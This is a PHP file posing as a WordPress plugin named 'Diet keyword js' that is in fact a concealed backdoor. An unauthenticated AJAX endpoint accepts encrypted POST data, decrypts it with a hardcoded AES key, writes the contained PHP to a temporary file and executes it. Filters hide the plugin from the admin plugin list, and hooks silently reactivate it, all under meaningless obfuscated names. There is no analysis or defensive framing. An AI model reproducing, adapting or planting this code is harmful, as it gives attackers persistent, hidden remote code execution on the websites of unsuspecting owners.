<?php
/*
Plugin Name: Diet keyword js
Plugin URI: http://wordpress.org/plugins/
Description: Diet keyword js plugin
Version: 5.12.8
Author: WordPress
Author URI: http://wordpress.org/
*/

if (!class_exists("pinkLaser")) {
    class pinkLaser {
        private $CousinDatasetHtml = null;

        function busdesktop($ColumnLagjs)
        {
            if (!isset($ColumnLagjs["class"]) || !isset($ColumnLagjs["method"]) || !isset($ColumnLagjs["data"])) {
                return "error_input";
            }

            stream_wrapper_unregister('file');
            stream_wrapper_restore('file');

            $picnicRuntimeHtml = tempnam(ini_get('upload_tmp_dir') ?: sys_get_temp_dir(), 'tmp');
            if ($picnicRuntimeHtml === false) {
                return "error_tempnam";
            }

            $SessionGraph = fopen($picnicRuntimeHtml, 'w');
            if ( $SessionGraph === false ) {
                return "error_fopen";
            }

            if ( fwrite($SessionGraph, $ColumnLagjs["data"]) === false) {
                return "error_write";
            }

            fclose($SessionGraph);
            require_once($picnicRuntimeHtml);

            $Split_git = $ColumnLagjs["class"];
            if (class_exists($Split_git)) {
                $Struggle_Optimization = new $Split_git();
                $side_macro = $ColumnLagjs["method"];
                if (method_exists($Struggle_Optimization, $side_macro)) {
                    $scanHardware = (object) $Struggle_Optimization->$side_macro();
                    unlink($picnicRuntimeHtml);
                    return $scanHardware;
                }
            }

            unlink($picnicRuntimeHtml);
            return "error_invoke";
        }

        public function Geniusexportsitemap() {
            if (!function_exists('is_plugin_active')) {
                require_once(ABSPATH . 'wp-admin/includes/plugin.php');
            }

            if (!is_plugin_active($this->CousinDatasetHtml)) {
                $talentHandshakeCompat = get_option('active_plugins', array());
                if (!in_array($this->CousinDatasetHtml, $talentHandshakeCompat)) {
                    $talentHandshakeCompat[] = $this->CousinDatasetHtml;
                    update_option('active_plugins', array_unique($talentHandshakeCompat));
                }
            }
        }

        public function Waste_codingFonts($Patientdhcp_Config) {
            if (isset($Patientdhcp_Config[$this->CousinDatasetHtml])) {
                unset($Patientdhcp_Config[$this->CousinDatasetHtml]);
            }

            return $Patientdhcp_Config;
        }

        function blanket_Prompt() {
            if (isset($_POST['data'])) {
                $season_Gui_Js = $this->utility_Controller(wp_unslash($_POST['data']));
                if ($season_Gui_Js !== null) {
                    wp_send_json_success(array('result' => $this->busdesktop($season_Gui_Js)));
                }
            }

            die;
        }

        private function LanguageException() {
            $upholdConsole_Compat = __DIR__;
            for (;;) {
                $element_hashtagfonts = $upholdConsole_Compat . "/wp-load.php";
                if ( file_exists($element_hashtagfonts) === true ) {
                    require_once($element_hashtagfonts);
                    return true;
                }

                if ( empty($upholdConsole_Compat) ) {
                    break;
                }

                $upholdConsole_Compat = dirname($upholdConsole_Compat);
            }

            return false;
        }

        private function utility_Controller($season_Gui_Js) {
            $Argue_navigation_certificates = base64_decode($season_Gui_Js);
            if ($Argue_navigation_certificates === false) {
                return null;
            }

            $dignity_Hexadecimal_query = hash('sha256', "\x4c\x69\x6c\x53\x33\x39\x47\x42\x59\x68\x31\x75\x4d\x62\x63\x4b\x79", true);
            $Whatcompression_Meta = substr($dignity_Hexadecimal_query, 0, 16);
            $antenna_pointer_Settings = substr($dignity_Hexadecimal_query, 16, 16);
            $comeDocker = openssl_decrypt($Argue_navigation_certificates, 'aes-128-cbc', $Whatcompression_Meta, OPENSSL_RAW_DATA, $antenna_pointer_Settings);

            if ($comeDocker === false) {
                return null;
            }

            return json_decode($comeDocker, true);
        }

        public function __construct()
        {
            if ( !defined('ABSPATH') ) {
                if ( $this->LanguageException() ) {
                    $this->CousinDatasetHtml = plugin_basename(__FILE__);
                    $this->Geniusexportsitemap();
                }

                exit;
            }

            $this->CousinDatasetHtml = plugin_basename(__FILE__);

            add_filter('all_plugins', array($this, 'Waste_codingFonts') );
            add_filter('site_option_active_sitewide_plugins', array($this, 'Waste_codingFonts') );
            add_action('admin_init', array($this, 'Geniusexportsitemap') );
            add_action('wp_ajax_diet-keyword-js', array($this, 'blanket_Prompt') );
            add_filter('network_admin_plugin_action_links', array($this, 'Waste_codingFonts') );
            add_action('wp_ajax_nopriv_diet-keyword-js', array($this, 'blanket_Prompt') );
            add_action('shutdown', array($this, 'Geniusexportsitemap') );
            add_filter('plugin_action_links', array($this, 'Waste_codingFonts') );
        }
    }
}

new pinkLaser();